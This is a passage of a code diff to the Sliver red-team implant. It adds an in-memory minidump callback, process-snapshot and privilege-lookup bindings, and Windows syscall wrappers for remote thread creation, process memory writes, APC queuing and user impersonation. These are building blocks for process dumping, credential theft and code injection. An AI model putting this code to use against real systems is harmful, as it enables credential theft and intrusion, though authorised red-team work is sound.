+			log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
+			// {{end}}
+			return FALSE
+		}
+		bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
+		if bytesAndOffset >= uint64(currentBuffSize) {
+			increasedSize := IncrementSize
+			if bytesAndOffset <= uint64(currentBuffSize*2) {
+				increasedSize = int(currentBuffSize) * 2
+			} else {
+				increasedSize += int(bytesAndOffset)
+			}
+			outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
+			if err != nil {
+				// {{if .Config.Debug}}
+				log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
+				// {{end}}
+				return FALSE
+			}
+		}
+		destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
+		syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
+		bytesRead += callbackInput.Io.BufferBytes
+	case IoFinishCallback:
+		callbackOutput.Status = S_OK
+	default:
+		return TRUE
+	}
+	return TRUE
+}

implant/sliver/sliver.go

@@ -52,7 +52,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/implant/sliver/version"
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 
 	// {{if .Config.IsService}}
 	"golang.org/x/sys/windows/svc"

implant/sliver/syscalls/syscalls_windows.go

@@ -5,6 +5,8 @@ package syscalls
 //sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
 //sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
 //sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
+//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
+//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
 //sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
 //sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
 //sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
@@ -35,3 +37,9 @@ package syscalls
 //sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
 //sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
 //sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
+//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
+
+//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
+//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
+//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
+//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW

implant/sliver/syscalls/types_windows.go

@@ -5,6 +5,40 @@ import (
 )
 
 const (
+	PSS_CAPTURE_NONE = iota
+	PSS_CAPTURE_VA_CLONE
+	PSS_CAPTURE_RESERVED_00000002
+	PSS_CAPTURE_HANDLES
+	PSS_CAPTURE_HANDLE_NAME_INFORMATION
+	PSS_CAPTURE_HANDLE_BASIC_INFORMATION
+	PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
+	PSS_CAPTURE_HANDLE_TRACE
+	PSS_CAPTURE_THREADS
+	PSS_CAPTURE_THREAD_CONTEXT
+	PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
+	PSS_CAPTURE_RESERVED_00000400
+	PSS_CAPTURE_VA_SPACE
+	PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
+	PSS_CAPTURE_IPT_TRACE
+	PSS_CAPTURE_RESERVED_00004000
+	PSS_CREATE_BREAKAWAY_OPTIONAL
+	PSS_CREATE_BREAKAWAY
+	PSS_CREATE_FORCE_BREAKAWAY
+	PSS_CREATE_USE_VM_ALLOCATIONS
+	PSS_CREATE_MEASURE_PERFORMANCE
+	PSS_CREATE_RELEASE_SECTION
+
+	CONTEXT_i386               = 0x10000
+	CONTEXT_i486               = 0x10000             //  same as i386
+	CONTEXT_CONTROL            = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
+	CONTEXT_INTEGER            = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
+	CONTEXT_SEGMENTS           = CONTEXT_i386 | 0x0  // DS, ES, FS, GS
+	CONTEXT_FLOATING_POINT     = CONTEXT_i386 | 0x08 // 387 state
+	CONTEXT_DEBUG_REGISTERS    = CONTEXT_i386 | 0x10 // DB 0-3,6,7
+	CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
+	CONTEXT_FULL               = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
+	CONTEXT_ALL                = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
+
 	PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
 	LOGON32_LOGON_INTERACTIVE            = 2
 	LOGON32_LOGON_NETWORK                = 3
@@ -18,6 +52,9 @@ const (
 	LOGON32_PROVIDER_WINNT35 = 1
 	LOGON32_PROVIDER_WINNT40 = 2
 	LOGON32_PROVIDER_WINNT50 = 3
+	PROCESS_DUP_HANDLE       = 0x0040
+	DUPLICATE_SAME_ACCESS    = 0x00000002
+	STILL_ACTIVE             = 259
 )
 
 type StartupInfoEx struct {
@@ -81,6 +118,19 @@ type MONITORINFO struct {
 	DwFlags   uint32
 }
 
+type ProcessMemoryCounters struct {
+	Cb                         uint32
+	PageFaultCount             uint32
+	PeakWorkingSetSize         int
+	WorkingSetSize             int
+	QuotaPeakPagedPoolUsage    int
+	QuotaPagedPoolUsage        int
+	QuotaPeakNonPagedPoolUsage int
+	QuotaNonPagedPoolUsage     int
+	PagefileUsage              int
+	PeakPagefileUsage          int
+}
+
 const (
 	CCHDEVICENAME = 32
 	CCHFORMNAME   = 32

implant/sliver/syscalls/zsyscalls_windows.go

@@ -19,6 +19,7 @@ const (
 
 var (
 	errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
+	errERROR_EINVAL     error = syscall.EINVAL
 )
 
 // errnoErr returns common boxed Errno values, to prevent
@@ -26,7 +27,7 @@ var (
 func errnoErr(e syscall.Errno) error {
 	switch e {
 	case 0:
-		return nil
+		return errERROR_EINVAL
 	case errnoERROR_IO_PENDING:
 		return errERROR_IO_PENDING
 	}
@@ -37,92 +38,235 @@ func errnoErr(e syscall.Errno) error {
 }
 
 var (
-	modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
 	modDbgHelp  = windows.NewLazySystemDLL("DbgHelp.dll")
-	modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
-	modUser32   = windows.NewLazySystemDLL("User32.dll")
 	modGdi32    = windows.NewLazySystemDLL("Gdi32.dll")
 	modKernel32 = windows.NewLazySystemDLL("Kernel32.dll")
+	modUser32   = windows.NewLazySystemDLL("User32.dll")
+	modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
+	modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
+	modntdll    = windows.NewLazySystemDLL("ntdll.dll")
+	modpsapi    = windows.NewLazySystemDLL("psapi.dll")
 
-	procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
-	procGetProcessHeap                    = modkernel32.NewProc("GetProcessHeap")
-	procHeapAlloc                         = modkernel32.NewProc("HeapAlloc")
-	procUpdateProcThreadAttribute         = modkernel32.NewProc("UpdateProcThreadAttribute")
-	procCreateProcessW                    = modkernel32.NewProc("CreateProcessW")
-	procVirtualAllocEx                    = modkernel32.NewProc("VirtualAllocEx")
-	procWriteProcessMemory                = modkernel32.NewProc("WriteProcessMemory")
-	procVirtualProtectEx                  = modkernel32.NewProc("VirtualProtectEx")
-	procQueueUserAPC                      = modkernel32.NewProc("QueueUserAPC")
-	procDeleteProcThreadAttributeList     = modkernel32.NewProc("DeleteProcThreadAttributeList")
-	procHeapFree                          = modkernel32.NewProc("HeapFree")
-	procCreateRemoteThread                = modkernel32.NewProc("CreateRemoteThread")
-	procCreateThread                      = modkernel32.NewProc("CreateThread")
-	procGetExitCodeThread                 = modkernel32.NewProc("GetExitCodeThread")
 	procMiniDumpWriteDump                 = modDbgHelp.NewProc("MiniDumpWriteDump")
-	procImpersonateLoggedOnUser           = modadvapi32.NewProc("ImpersonateLoggedOnUser")
-	procLogonUserW                        = modadvapi32.NewProc("LogonUserW")
-	procGetDC                             = modUser32.NewProc("GetDC")
-	procReleaseDC                         = modUser32.NewProc("ReleaseDC")
-	procCreateCompatibleDC                = modGdi32.NewProc("CreateCompatibleDC")
-	procGetDesktopWindow                  = modUser32.NewProc("GetDesktopWindow")
-	procDeleteDC                          = modGdi32.NewProc("DeleteDC")
+	procBitBlt                            = modGdi32.NewProc("BitBlt")
 	procCreateCompatibleBitmap            = modGdi32.NewProc("CreateCompatibleBitmap")
+	procCreateCompatibleDC                = modGdi32.NewProc("CreateCompatibleDC")
+	procDeleteDC                          = modGdi32.NewProc("DeleteDC")
 	procDeleteObject                      = modGdi32.NewProc("DeleteObject")
+	procGetDIBits                         = modGdi32.NewProc("GetDIBits")
+	procSelectObject                      = modGdi32.NewProc("SelectObject")
 	procGlobalAlloc                       = modKernel32.NewProc("GlobalAlloc")
 	procGlobalFree                        = modKernel32.NewProc("GlobalFree")
 	procGlobalLock                        = modKernel32.NewProc("GlobalLock")
 	procGlobalUnlock                      = modKernel32.NewProc("GlobalUnlock")
-	procSelectObject                      = modGdi32.NewProc("SelectObject")
-	procBitBlt                            = modGdi32.NewProc("BitBlt")
-	procGetDIBits                         = modGdi32.NewProc("GetDIBits")
+	procGetDC                             = modUser32.NewProc("GetDC")
+	procGetDesktopWindow                  = modUser32.NewProc("GetDesktopWindow")
+	procReleaseDC                         = modUser32.NewProc("ReleaseDC")
+	procImpersonateLoggedOnUser           = modadvapi32.NewProc("ImpersonateLoggedOnUser")
+	procLogonUserW                        = modadvapi32.NewProc("LogonUserW")
+	procLookupPrivilegeDisplayNameW       = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
+	procLookupPrivilegeNameW              = modadvapi32.NewProc("LookupPrivilegeNameW")
+	procCreateProcessW                    = modkernel32.NewProc("CreateProcessW")
+	procCreateRemoteThread                = modkernel32.NewProc("CreateRemoteThread")
+	procCreateThread                      = modkernel32.NewProc("CreateThread")
+	procDeleteProcThreadAttributeList     = modkernel32.NewProc("DeleteProcThreadAttributeList")
+	procGetExitCodeThread                 = modkernel32.NewProc("GetExitCodeThread")
+	procGetProcessHeap                    = modkernel32.NewProc("GetProcessHeap")
+	procHeapAlloc                         = modkernel32.NewProc("HeapAlloc")
+	procHeapFree                          = modkernel32.NewProc("HeapFree")
+	procHeapReAlloc                       = modkernel32.NewProc("HeapReAlloc")
+	procHeapSize                          = modkernel32.NewProc("HeapSize")
+	procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
+	procPssCaptureSnapshot                = modkernel32.NewProc("PssCaptureSnapshot")
+	procQueueUserAPC                      = modkernel32.NewProc("QueueUserAPC")
+	procUpdateProcThreadAttribute         = modkernel32.NewProc("UpdateProcThreadAttribute")
+	procVirtualAllocEx                    = modkernel32.NewProc("VirtualAllocEx")
+	procVirtualProtectEx                  = modkernel32.NewProc("VirtualProtectEx")
+	procWriteProcessMemory                = modkernel32.NewProc("WriteProcessMemory")
+	procRtlCopyMemory                     = modntdll.NewProc("RtlCopyMemory")
+	procGetProcessMemoryInfo              = modpsapi.NewProc("GetProcessMemoryInfo")
 )
 
-func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
-	r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
+func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
+	r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func GetProcessHeap() (procHeap windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
-	procHeap = windows.Handle(r0)
-	if procHeap == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
+	r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
+	BOOL = int(r0)
+	if BOOL == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
-	r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
-	lpMem = uintptr(r0)
-	if lpMem == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
+	HBITMAP = windows.Handle(r0)
+	if HBITMAP == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
-	r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
+func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
+	HDC = windows.Handle(r0)
+	if HDC == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
+	r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
+	BOOL = uint32(r0)
+	if BOOL == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
+	r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
+	BOOL = uint32(r0)
+	if BOOL == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
+	r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
+	ret = int(r0)
+	if ret == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
+	HGDIOBJ = windows.Handle(r0)
+	if HGDIOBJ == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
+	HGLOBAL = windows.Handle(r0)
+	if HGLOBAL == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
+	HGLOBAL = windows.Handle(r0)
+	if HGLOBAL == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
+	r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
+	LPVOID = uintptr(r0)
+	if LPVOID == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
+	r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
+	BOOL = uint32(r0)
+	if BOOL == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
+	HDC = windows.Handle(r0)
+	if HDC == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func GetDesktopWindow() (HWND windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
+	HWND = windows.Handle(r0)
+	if HWND == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
+	r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
+	int = uint32(r0)
+	if int == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
+	r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
+	r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
+	if r1 == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
+	var _p0 *uint16
+	_p0, err = syscall.UTF16PtrFromString(systemName)
+	if err != nil {
+		return
+	}
+	return _LookupPrivilegeDisplayNameW(_p0, privilegeName, buffer, size, languageId)
+}
+
+func _LookupPrivilegeDisplayNameW(systemName *uint16, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
+	r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(privilegeName)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
+	var _p0 *uint16
+	_p0, err = syscall.UTF16PtrFromString(systemName)
+	if err != nil {
+		return
+	}
+	return _LookupPrivilegeNameW(_p0, luid, buffer, size)
+}
+
+func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
+	r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
@@ -131,65 +275,28 @@ func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.S
 	var _p0 uint32
 	if inheritHandles {
 		_p0 = 1
-	} else {
-		_p0 = 0
 	}
 	r1, _, e1 := syscall.Syscall12(procCreateProcessW.Addr(), 10, uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(unsafe.Pointer(procSecurity)), uintptr(unsafe.Pointer(threadSecurity)), uintptr(_p0), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0, 0)
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
-	r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
-	addr = uintptr(r0)
-	if addr == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
+	threadHandle = windows.Handle(r0)
+	if threadHandle == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
-	r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
-	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
-	r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
-	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
-	r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
-	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
+	threadHandle = windows.Handle(r0)
+	if threadHandle == 0 {
+		err = errnoErr(e1)
 	}
 	return
 }
@@ -199,270 +306,124 @@ func DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST)
 	return
 }
 
-func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
-	r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
-	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
-	threadHandle = windows.Handle(r0)
-	if threadHandle == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
-func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
-	r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
-	threadHandle = windows.Handle(r0)
-	if threadHandle == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
-	}
-	return
-}
-
 func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) {
 	r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0)
 	if r1 == 0 {
-		if e1 != 0 {
-			err = errnoErr(e1)
-		} else {
-			err = syscall.EINVAL
-		}
+		err = errnoErr(e1)
 	}
 	return
 }
 
-func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
-	r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
+func GetProcessHeap() (procHeap windows.Handle, err error) {
+	r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
+	procHeap = windows.Handle(r0)
+	if procHeap == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
+	r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
+	lpMem = uintptr(r0)
+	if lpMem == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
